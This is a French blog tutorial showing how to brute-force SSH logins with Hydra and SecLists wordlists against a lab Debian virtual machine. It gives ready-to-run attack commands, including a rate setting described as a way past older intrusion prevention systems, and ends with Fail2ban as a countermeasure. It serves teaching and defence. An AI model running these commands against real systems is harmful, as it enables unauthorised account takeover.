Réaliser une attaque brute force (simple) avec Hydra

Réaliser une attaque brute force (simple) avec Hydra

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel a pour unique but de vous enseigner à vous protéger contre les “black-hat” (Hackers mal intentionnés) et ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article en provenance de mon site brlndtech blog ainsi que la vidéo YouTube (Chaîne Youtube Blrndtech) qui lui est rattaché.

Préambule

je vais utiliser Kali linux (192.168.145.129/24) sous sa dernière version à savoir 2020.2 à ce jour, ainsi qu’une machine victime (Debian 10.X) qui sera identifié par l’adresse IP suivante : 192.168.145.141/24. La machine de l’attaquante devra pouvoir communiquer avec la machine virtuelle cible Debian 10.X.

Ce tutoriel est réalisé par l’intermédiaire de l’hyperviseur de type 2 Vmware Workstation 15.6

Etape 1 – Préparation de l’environnement

Si vous ne disposez pas de dictionnaire de mot de passe / nom d’utilisateur, cloné le repository git suivant : https://github.com/danielmiessler/SecLists (700mo), vous y trouverez votre bonheur. Pour ce tutoriel, je me baserai notamment sur les fichiers xato-net-10-million-passwords-100.txt et top-usernames-shortlist.txt.

NB : toutes ces commandes sont exécutées par utilisateur root

cd /home/kali 
mkdir passwords-and-usernames
git clone https://github.com/danielmiessler/SecLists

Copié/collé, les dictionnaires de mots de passe / nom d’utilisateurs (fichiers *.txt).

 cp -r SecLists/Usernames/*.txt  /home/kali/passwords-and-usernames/
 cp -r SecLists/Passwords/*.txt  /home/kali/passwords-and-usernames/
 cd passwords-dict/

Etape 2 : Attaque depuis Kalilinux

Ciblé un utilisateur particulier

  • -s = port
  • -l = utilisateur simple
  • -L = utilisateurs extraient d’une liste
  • -P = mots de passe extraient d’une liste
  • -T = nombre d’essai par seconde (4, étant une valeur recommandé, pour outrepasser certains IPS vieillissant et non mis à jours)
  • -V = Afficher tout les essais dans la fenêtre du terminal

D’autres options disponible, pour d’autres contexte.

Pour plus d’info : hydra --help

hydra -s 22 -l root -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh
Quand hydra découvre un couple de ID/MDP correct, il l’indique en vert

Utilisé une liste d’username + un dico de mot de passe. Dans ce contexte chaque utilisateur sera testé avec l’ensemble des mots de passe de la liste.

hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh

Cibler un groupe d’utilisateur donné

Dans ce scénario, chaque mot de passe de la liste xato-net-10-million-passwords-10.txt sera testé pour chaque utilisateur du fichier top-usernames-shortlist.txt. L’attaque est bien plus longue, mais elle a plus de chances de réussir qu’une attaque visant simplement un seul utilisateur.

hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -V ssh

Contre-mesures

Afin de limiter ce genre d’attaque, qui peut être gravissime si elle aboutit, installez sur votre serveur Linux « victime » un IPS (Intrusion Prevention Software) comme le non moins célèbre Fail2ban, qui vous permet de limiter ce genre d’attaque très facilement.

apt install fail2ban
# Fail2ban est installé et actif au boot
# par défaut fail2ban bloque une l'ip d'un utilisateur au bout de 4 essais infructueux.

Pour plus de renseignements, sur un paramétrage avancé de fail2ban, consultez : https://www.a2hosting.com/kb/security/hardening-a-server-with-fail2ban

Voilà le message que vous allez obtenir dès à présent si vous retentez de nouvelle une attaque depuis la machine attaquante vers votre cible.

Connectez-vous sur la machine victime, et tapez la commande ci-dessous :

Vous pouvez le constater, l’IP de l’attaquant a bien été bloquée

Pour débanir votre ip, veuillez entrer la commande suivante :

fail2ban-client set sshd unbanip 192.168.0.X

Voilà, c’est tout pour cette fois-ci !

À bientôt 🙂

Brlndtech

Geoffrey Sauvageot-Berland

Ingénieur diplômé par l’état en Informatique et Cybersécurité. Généraliste, à l'origine administrateur systèmes et réseaux, j’occupe actuellement un poste d’auditeur en sécurité offensive. J’apprécie également la programmation/automatisation. Fondateur du blog : "Le Guide du SecOps", anciennement "Le Guide du SysOps"

Related Posts

Tester la sécurité d’une API : Un Guide Pratique

Tester la sécurité d’une API : Un Guide Pratique

Weevely – un Webshell interactif polyvalent (cheat sheet)

Weevely – un Webshell interactif polyvalent (cheat sheet)

Reconstruction d’OS non chiffrés : Analyse post-exploitation

Reconstruction d’OS non chiffrés : Analyse post-exploitation

Reverse/Bind shell – Quésaco

Reverse/Bind shell – Quésaco